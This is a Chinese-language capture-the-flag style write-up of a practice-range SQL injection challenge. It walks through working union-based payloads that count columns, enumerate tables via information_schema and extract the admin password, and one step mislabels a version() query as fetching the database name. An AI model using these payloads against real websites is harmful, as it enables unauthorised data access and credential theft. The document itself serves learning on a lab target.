1. 程式人生 > 其它 >第一章、為了女神小芳

第一章、為了女神小芳

第一章:為了女神小芳(新人能看懂的思路)

當我剛學完sql注入,感覺自己的任督二脈好像被打通了,想要和高手過兩招,但是奈何pikachu已經滿足不了我

的強大了,於是我在苦苦尋找對手,就在這時,我的好大哥yue哥,給我推薦了封神臺這個靶場。

封神臺官網 :https://hack.zkaq.cn/

0x01. 明確目標

為了我的女神小芳我發了猛烈的進攻 網址:https://hack.zkaq.cn/battle

注入的目標,拿到管理員的密碼

0x02. 尋找注入點

我大筆一揮,點選傳送門

憑藉我敏銳的直覺,我要點選這個藍色的a標籤,這個超連結一定會把我帶到考場,廢話你看看位址列啥也沒有,

當前頁面盲猜肯定和資料庫沒互動,肯定沒有注入點

熟悉的它,熟悉的我,熟悉的我們又見面了,?id=1 於是我連忙或成id=2試試會有什麼不同,我不喜歡辛巴

這個懶偷的好,偷的秒,偷的瓜瓜叫,一下子將讓我聞得到了sql注入點的那股熟悉的味道

於是我,三劍客又來了單引號,and 1=1,and 1=2,果然是一個注入點

雖然頁面沒有報錯回顯,但是當'和and 1=2時,頁面都是空內容,說明都帶入到資料庫查詢了,很有可能是程式碼

層面有對報錯和布林狀態的一個檢驗,把這兩中查詢結果都用空內容展示。既然判斷出來是注入點了,那麼就開始

來一發注入吧

0x03. 注入流程

1. 注入方法的選定

很多時候你都不知道對待一個注入點你改怎麼注入,雖然你的小腦瓜記住了很多注入的方法,但是你要學會靈活使

用啊,換句話來說你要知道什麼情況使用什麼注入方法,一般人的思路就是挨個試,沒錯就是挨個試,先挑最快

的,畢竟天下武功為快不破 --- 聯合注入

2. 確定主查詢語句的欄位數

?id =1 order by 1
# 結果返回正常

?id =1 order by 2
# 結果返回正常

?id =1 order by 3
# 結果返回不正常

於是判斷出主查詢語句的欄位數為2

3. 確定頁面回顯位置

?id=1 and 1=2 union select 741,521

別問我為什麼不是1,2,我只想說1,2有什麼意思,年輕就是要不一樣

ok,確定了顯示內容的位置,接下來就是嘮家常了,就那幾句

4. 獲取庫資訊

資料庫型別

?id=1 and 1=2 union select 741,@@datadir

mysql我喜歡,盲猜一波版本必定大於5.0,大於5.0你懂的哈,information_schema

版本資訊

?id=1 and 1=2 union select 741,version()

當前資料庫名稱

?id=1 and 1=2 union select 741,version()

據我瞭解mysql資料庫的使用者密碼是放在mysql庫下的use表裡面,既然是這樣為何不嘗試一下呢,反正又沒人,

說不定試一試就成了呢

?id=1 and 1=2 union select 741,password from mysql.user

還是自己太年輕啊,人家說了要管理員的密碼,但是管理員不一定是資料庫管理員啊,這波是我sb了,而且沒有

這個表

5. 獲取表資訊

獲取當前庫下所有的表

?id=1 and 1=2 union select 741,group_concat(table_name) from information_schema.tables where table_schema="maoshe"

看到admin我覺得離成功就差一步了,哈哈哈哈

6. 獲取密碼

我已經等不及了,什麼欄位的,就懶得看了,憑藉我多年老司機的經驗

我斷定使用者名稱欄位必是username,密碼欄位必是password,而且管理員使用者名稱必是admin,就賭上我這200的

智商拼一把

?id=1 and 1=2 union select 741,password from maoshe.admin where username="admin"

哎呦不錯,我果然是神機妙算,一把猜中

7. 提交flag驗證

hellohack

0x04. 總結

靶場挺不錯的,對待我這種看上去只會吹b,但是又有點操作的小白還是不錯的,一般簡單的SQL注入你就用聯合

查詢,如果頁面沒有回顯內容再嘗試報錯注入,最後如果還是不行,那就用絕招盲注